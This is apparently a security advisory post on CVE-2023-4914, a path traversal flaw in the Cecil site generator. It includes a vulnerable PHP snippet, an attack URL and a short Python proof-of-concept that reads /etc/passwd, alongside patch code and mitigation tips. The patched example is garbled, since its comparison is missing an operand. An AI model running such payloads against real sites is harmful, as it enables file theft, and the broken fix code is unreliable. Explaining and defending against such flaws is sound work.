If you’re running a website with Cecil, there’s a critical security issue you need to know about. A Relative Path Traversal vulnerability (CVE-2023-4914) was identified in the cecilapp/cecil GitHub repository, which could let attackers read files outside the intended directories. This vulnerability was present in versions before 7.47.1.

Let’s break this down in simple terms, see how the exploit works, and most importantly, how you can protect yourself.

What Is Path Traversal?

Path traversal is a type of vulnerability where attackers manipulate file paths to access files and directories stored outside the allowed folder. Imagine you have a web server that serves files from /var/www/public, but due to improper input handling, someone manages to access /etc/passwd by sneaking in ../../../../etc/passwd.

Where’s the Bug?

Cecil is a popular open-source static site generator written in PHP. Before version 7.47.1, the way it handled file requests (for instance, images or markdown files) didn’t properly sanitize file paths coming from user input. Users could craft URLs to reach files they shouldn’t be able to access, using sequences like ../ (dot-dot-slash).

Here’s a simplified snippet that shows the trouble spot

// Vulnerable File: e.g., src/FileLoader.php

function loadFile($filename) {
    $basePath = '/var/www/cecil/src/';
    $file = $basePath . $filename;
    if (file_exists($file)) {
        return file_get_contents($file);
    }
    return false;
}

If a user supplies ../../../../etc/passwd as $filename, the function will happily open a sensitive system file!

Suppose your Cecil-powered website accepts a path as a query parameter

https://yourdomain.com/content.php?file=about.md

A malicious user could change the URL to

https://yourdomain.com/content.php?file=../../../../etc/passwd

And the script would return the contents of /etc/passwd.

Proof-of-Concept (PoC)

Here’s a very simple proof-of-concept exploit in Python that requests a ../../../../etc/passwd file:

import requests

url = 'https://yourdomain.com/content.php';
payload = '../../../../etc/passwd'

r = requests.get(url, params={'file': payload})
if r.status_code == 200:
    print('[+] Exploit worked! File contents:')
    print(r.text)
else:
    print('[-] Exploit failed or file does not exist')

Important: Do not run this against websites you do not own. This code is for educational, ethical, and defensive purposes only!

How Was It Fixed?

The official patch in Cecil 7.47.1 fixed the way paths are joined and validated. The maintainers added checks to make sure paths remain within the allowed “base directory” and ignore attempts to break out.

Patched Example

function loadFile($filename) {
    $basePath = '/var/www/cecil/src/';
    $realBase = realpath($basePath);
    $file = realpath($basePath . $filename);
    if ($file !== false && strpos($file, $realBase) ===  && file_exists($file)) {
        return file_get_contents($file);
    }
    return false;
}

If you try to input a path like ../../../../etc/passwd, realpath() will resolve it, but the script will see it doesn’t start with realBase and block it.

References and Resources

- Original CVE Entry - CVE-2023-4914
- Cecil GitHub Repository
- GitHub Security Advisory for CVE-2023-4914
- Cecil 7.47.1 Release Notes

Update Immediately: If you’re using any version of Cecil before 7.47.1, upgrade ASAP!

2. Check Input Sanitization: If you develop plugins or themes for Cecil, make sure you never trust user input. Always sanitize and validate file paths.
3. Use Web Server Configs: Protect sensitive files at the web server level (like with .htaccess rules).
4. Monitor for Suspicious Requests: Look for logs containing .., etc/passwd, or unexpected file reads.

Final Thoughts

Path traversal is simple but devastating. CVE-2023-4914 in Cecil is a wakeup call: even static site generators can have severe security issues in their code. If you build or maintain sites, always keep your software up to date, and take a peek under the hood of open source projects for proper input handling.

Stay safe out there!

*This post was written exclusively for this knowledge base. If you have more questions about CVE-2023-4914, feel free to ask!*

Timeline

Published on: 09/12/2023 15:15:00 UTC
Last modified on: 09/14/2023 00:43:00 UTC